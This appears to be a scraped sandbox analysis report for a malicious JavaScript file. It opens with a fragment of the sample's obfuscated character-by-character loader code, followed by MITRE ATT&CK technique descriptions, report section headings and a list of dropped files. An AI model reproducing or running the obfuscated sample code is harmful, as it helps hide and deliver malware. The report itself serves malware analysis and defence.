1515	ykamjcjn = "G";
1516	ykamjcjn = "d";
1517	ykamjcjn = "b";
1518	ykamjcjn = "P";
1519	ylspre = "S";
1520	ylspre = "T";
1521	ylspre = "z";
1522	ylspre = "E";
1523	ylspre = "l";
1524	ylspre = "F";
1525	ylspre = "u";
1526	ylspre = "G";
1527	ylspre = "s";
1528	ylspre = "P";
1529	ylspre = "S";
1530	ylspre = "f";
1531	ylspre = "A";
1532	ylspre = "u";
1533	ylspre = "u";
1534	ylspre = "I";
1535	ylspre = "L";
1536	ylspre = "i";
1537	ylspre = "r";
1538	ylspre = "k";
1539	ylspre = "a";
1540	ylspre = "B";
1541	ylspre = "F";
1542	ylspre = "x";
1543	ylspre = "W";
1544	ylspre = "S";
1545	ylspre = "2";
1546	ldnzagrmn = "R";
1547	ldnzagrmn = "F";
1548	ldnzagrmn = "t";
1549	ldnzagrmn = "O";
1550	ldnzagrmn = "w";
1551	ldnzagrmn = "S";
1552	ldnzagrmn = "t";
1553	ldnzagrmn = "k";
1554	ldnzagrmn = "W";
1555	ldnzagrmn = "a";
1556	ldnzagrmn = "C";
1557	ldnzagrmn = "r";
1558	ldnzagrmn = "l";
1559	ldnzagrmn = "q";
1560	ldnzagrmn = "m";
1561	ldnzagrmn = "n";
1562	ldnzagrmn = "s";
1563	ldnzagrmn = "h";
1564	ldnzagrmn = "T";
1565	ldnzagrmn = "f";
1566	ldnzagrmn = "Q";
1567	ldnzagrmn = "W";
1568	ldnzagrmn = "i";
1569	ldnzagrmn = "N";
1570	ldnzagrmn = "m";
1571	ldnzagrmn = "L";
1572	ldnzagrmn = "P";
1573	ldnzagrmn = "x";
1574	ldnzagrmn = "Q";
1575	ldnzagrmn = "s";
1576	ldnzagrmn = "F";
1577	ldnzagrmn = "t";
1578	ldnzagrmn = "b";
1579	ldnzagrmn = "g";
1580	ldnzagrmn = "h";
1581	ldnzagrmn = "Q";
1582	ldnzagrmn = "Z";
1583	ldnzagrmn = "d";
1584	ldnzagrmn = "H";
1585	ldnzagrmn = "P";
1586	ldnzagrmn = "/";
1587	fmeoz ( );	fmeoz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 700123582683323683.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3d813927-c14f-4feb-af2d-feb97472a069.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
700123582683323683.js